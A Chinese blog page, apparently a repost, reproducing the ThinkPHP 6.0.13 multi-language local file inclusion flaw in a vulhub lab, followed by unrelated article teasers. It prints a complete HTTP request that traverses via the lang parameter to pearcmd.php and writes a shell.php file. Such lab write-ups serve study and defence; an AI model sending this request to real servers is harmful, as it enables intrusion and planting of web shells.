vulhub中ThinkPHP 多语言本地文件包含漏洞复现

ThinkPHP是一个在中国使用较多的PHP框架。在其6.0.13版本及以前,存在一处本地文件包含漏洞。当多语言特性被开启时,攻击者可以使用lang参数来包含任意PHP文件。

虽然只能包含本地PHP文件,但在开启了register_argc_argv且安装了pcel/pear的环境下,可以包含/usr/local/lib/php/pearcmd.php并写入任意文件。

环境启动后,访问http://your-ip:8080即可查看到ThinkPHP默认的欢迎页面。

漏洞利用

1.首先,ThinkPHP多语言特性不是默认开启的,所以我们可以尝试包含public/index.php文件来确认文件包含漏洞是否存在:

如果漏洞存在,则服务器会出错,返回500页面。

文件包含漏洞存在的情况下还需要服务器满足下面两个条件才能利用:

  1. PHP环境开启了register_argc_argv

  2. PHP环境安装了pcel/pear

Docker默认的PHP环境恰好满足上述条件,所以我们可以直接使用下面这个数据包来在写shell.php文件

GET /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Cache-Control: max-age=0

2.如果服务器返回pearcmd的命令行执行结果,说明漏洞利用成功:

3.此时访问http://your-ip:8080/shell.php即可发现已经成功写入文件:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/435406.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

腾讯云轻量服务器Windows系统使用IIS实现公网直链访问文件

windows方便所以服务器装的windows系统&#xff0c;windows默认不能分享文件直链&#xff0c;只要用IIS建个站点就行了 先弄一台有公网ip的windows系统服务器打开服务器管理器&#xff0c;添加这个 打开IIS右键添加网站 程序池默认&#xff0c;路径选个文件夹作为网站根目录 …

JavaSE(上)-Day1

JavaSE&#xff08;上&#xff09;-Day1 CMD终端的常见命令配置环境变量的作用?高级记事本安装&#xff08;略&#xff0c;正版收费&#xff09;各个语言的运行方式区别为什么Java可以实现跨平台?JDK和JRE的认识JDK是什么&#xff1f;由什么组成JRE是什么&#xff1f;由什么组…

C++ 基础专题容器(list)

前言 本文主要是总结常用容器&#xff0c;加深理解以及实际使用。相关完整网站参考&#xff1a;C函数和容器网站 本文主要是关注C11中的定义和用法。 list 一、类和定义 template < class T, class Alloc allocator<T> > class list; List containers are imp…

HarmonyOS NEXT应用开发案例——滑动页面信息隐藏与组件位移效果

介绍 在很多应用中&#xff0c;向上滑动"我的"页面&#xff0c;页面顶部会有如下变化效果&#xff1a;一部分信息逐渐隐藏&#xff0c;另一部分信息逐渐显示&#xff0c;同时一些组件会进行缩放或者位置移动。向下滑动时则相反。 效果图预览 使用说明 向上滑动页面…

mysql5.7.27安装图解教程和问题

mysql 5.7.27安装教程记录如下&#xff0c;分享给大家 下载文件&#xff1a; 1.下载步骤访问官方网站&#xff1a;https://www.mysql.com/ 选择Downloads下的Community 下载对应的版本点击上图的MySQL Community Server,进入下载界面&#xff1a; 找到MySQL Community Serve…

开源爬虫技术在金融行业市场分析中的应用与实战解析

一、项目介绍 在当今信息技术飞速发展的时代&#xff0c;数据已成为企业最宝贵的资产之一。特别是在${industry}领域&#xff0c;海量数据的获取和分析对于企业洞察市场趋势、优化产品和服务至关重要。在这样的背景下&#xff0c;爬虫技术应运而生&#xff0c;它能够高效地从互…

S7---FPGA- ZYNQ7100板级原理图硬件实战

视频链接 ZYNQ7100板级系统硬件实战01_哔哩哔哩_bilibili FPGA- ZYNQ7100板级原理图硬件实战 1、基于XC7Z100-2FFG900的FPGA硬件实战框图 板卡主要由ZYNQ7100主芯片&#xff0c;6片DDR3&#xff0c;1片eMMC&#xff0c;2个QSPI FLASH和一些外设接口组成。ZYNQ7100 采用Xilin…

【Flink网络数据传输(4)】RecordWriter(下)封装数据并发送到网络的过程

文章目录 一. RecordWriter封装数据并发送到网络1. 数据发送到网络的具体流程2. 源码层面2.1. Serializer的实现逻辑a. SpanningRecordSerializer的实现b. SpanningRecordSerializer中如何对数据元素进行序列化 2.2. 将ByteBuffer中间数据写入BufferBuilder 二. BufferBuilder申…

OpenHarmony教程指南—Navigation开发 页面切换场景范例

简介 在应用开发时&#xff0c;我们常常遇到&#xff0c;需要在应用内多页面跳转场景时中使用Navigation导航组件做统一的页面跳转管理&#xff0c;它提供了一系列属性方法来设置页面的标题栏、工具栏以及菜单栏的各种展示样式。除此之外还拥有动态加载&#xff0c;navPathSta…

安全增强型 Linux

书接上篇 一查看selinux状态 SELinux的状态&#xff1a; enforcing&#xff1a;强制&#xff0c;每个受限的进程都必然受限 permissive&#xff1a;允许&#xff0c;每个受限的进程违规操作不会被禁止&#xff0c;但会被记录于审计日志 disabled&#xff1a;禁用 相关命令…

操作系统原理与实验——实验四短进程优先调度

实验指南 运行环境&#xff1a; Dev c 算法思想&#xff1a; 短进程优先 (SPF)调度算法则是从就绪队列中选出一个估计运行时间最短的进程&#xff0c;将处理机分配给它&#xff0c;使它立即执行并一直执行到完成 核心数据结构&#xff1a; typedef struct data{ int hour; int…

kafka消费端消息去重方案

背景 我们在日常工作中&#xff0c;消费kafka消息是一个最常见的操作&#xff0c;不过由于kafka队列中经常包含重复的消息&#xff0c;并且消息量巨大&#xff0c;所以我们消费端总是需要先把消息进行去重后在消费&#xff0c;以减少消费端的压力&#xff0c;那么日常中我们一…

Java面试(1)之 JVM篇

内存模型及原理 1, JVM内存模型 2, 类加载器及双亲委派模型 2.1 类加载器的作用? 将Java文件解析成Class文件对象,即 通过一个类的全限定名来得到其二进制字节流.(不同类加载器加载的对象一定不同) 2.2 什么是双亲委派模型? 如果一个类接收到类加载的请求不会自己去加载,…

微服务系列(一)springcloudAlibaba之Nacos注册和配置中心及openFeign远程调用

一&#xff0c;认识微服务 我们先看看开发大型项目采用单体架构存在哪些问题&#xff0c;而微服务架构又是如何解决这些问题的。 1.1 单体架构 单体架构&#xff08;monolithic structure&#xff09;&#xff1a;整个项目中所有功能模块都在一个工程中开发&#xff1b;项目部署…

MySQL 备份方案

优质博文&#xff1a;IT-BLOG-CN 一、为什么要备份 【1】容灾恢复&#xff1a;硬件故障、不经意的 Bug 导致数据损坏&#xff0c;或者服务器及其数据由于某些原因不可获取或无法使用等&#xff08;例如&#xff1a;机房大楼烧毁&#xff0c;恶意的黑客攻击或 Mysql 的 Bug 等&…

React_ 三、Router路由配置

文章目录 [TOC](文章目录) Router路由配置安装和封装使用声明式导航Link和编程式导航useNavigate 导航传参useSearchParams 接收传参useParams 接收传参 路由嵌套children和菜单式渲染404路由配置 路由模式history模式&#xff0c;无/#/ 需要后端支持hash模式&#xff0c;有/#/…

开源模型应用落地-工具使用篇-Spring AI(七)

一、前言 在AI大模型百花齐放的时代&#xff0c;很多人都对新兴技术充满了热情&#xff0c;都想尝试一下。但是&#xff0c;实际上要入门AI技术的门槛非常高。除了需要高端设备&#xff0c;还需要面临复杂的部署和安装过程&#xff0c;这让很多人望而却步。不过&#xff0c;随着…

删除的文件能恢复吗?分享3个恢复方法

我们经常会遇到文件夹里的文件不小心被删除的情况&#xff0c;面对这种情况很多人会感到焦虑和无助。但实际上文件恢复并不是一件难事。在本文中我将分享一些实用的文件恢复方法&#xff0c;并深入探讨各种方法的优缺点&#xff0c;帮助大家更好地应对文件误删的问题。 首先让我…

集简云新增通义千问qwen 72b chat、qwen1.5 等多种大语言模型,提升多语言支持能力

通义千问再开源&#xff01;继发布多模态模型后&#xff0c;通义千问 1.5 版本也在春节前上线。 此次大模型包括六个型号&#xff1a;0.5B、1.8B、4B、7B、14B 和 72B&#xff0c;性能评测基础能力在在语言理解、代码生成、推理能力等多项基准测试中均展现出优异的性能&#x…

Jupyter如何开启Debug调试功能

由于需要对算子做远程调试功能&#xff0c;需要在jupyter中开启远程断点调试功能&#xff0c;特此记录。 本文写作时用到的系统是Ubuntu22&#xff0c;Python的版本是3.8. 首先&#xff0c;创建虚拟环境。 python -m venv venv source venv/bin/activate接着&#xff0c;安装…